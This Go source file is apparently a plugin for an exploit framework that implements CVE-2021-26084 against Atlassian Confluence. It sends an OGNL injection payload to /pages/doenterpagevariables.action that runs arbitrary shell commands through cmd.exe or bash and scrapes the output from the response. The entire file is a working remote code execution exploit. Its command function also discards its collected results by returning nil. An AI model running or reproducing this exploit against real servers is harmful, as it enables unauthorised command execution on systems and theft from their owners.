package drops

import (
	"context"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
	"regexp"
)

type ConfluenceCve202126084 struct {
	expbase.BaseExploitPlugin
}

func (t *ConfluenceCve202126084) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "9de74978-8c49-4885-8300-7e9495f2f00b",
		VulId:   "867e6959-7d68-41bf-8069-fda2c542859e",
		Name:    "Confluence_CVE_2021_26084",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func init() {
	var exp ConfluenceCve202126084
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *ConfluenceCve202126084) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	var re = regexp.MustCompile(`name="queryString"\s{12}value="a{8}\[([.\s\S]+)]"\s{13}/>`)
	for _, cmd := range expContext.CommandToExecute {
		command := []byte(`queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022` + cmd + `\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027`)
		newUrl, err := url.Parse(req.GetUrl().String() + `/pages/doenterpagevariables.action`)
		if err != nil {
			return nil, err
		}
		req.RawRequest.URL = newUrl
		req.RawRequest.Method = http.MethodPost
		req.RawRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)")
		req.SetBody(command)
		resp, err := expContext.HttpClient.Do(ctx, req)
		matches := re.FindStringSubmatch(string(resp.GetBody()))
		if len(matches) != 2 {
			continue
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return nil, nil
}

func (t *ConfluenceCve202126084) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *ConfluenceCve202126084) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
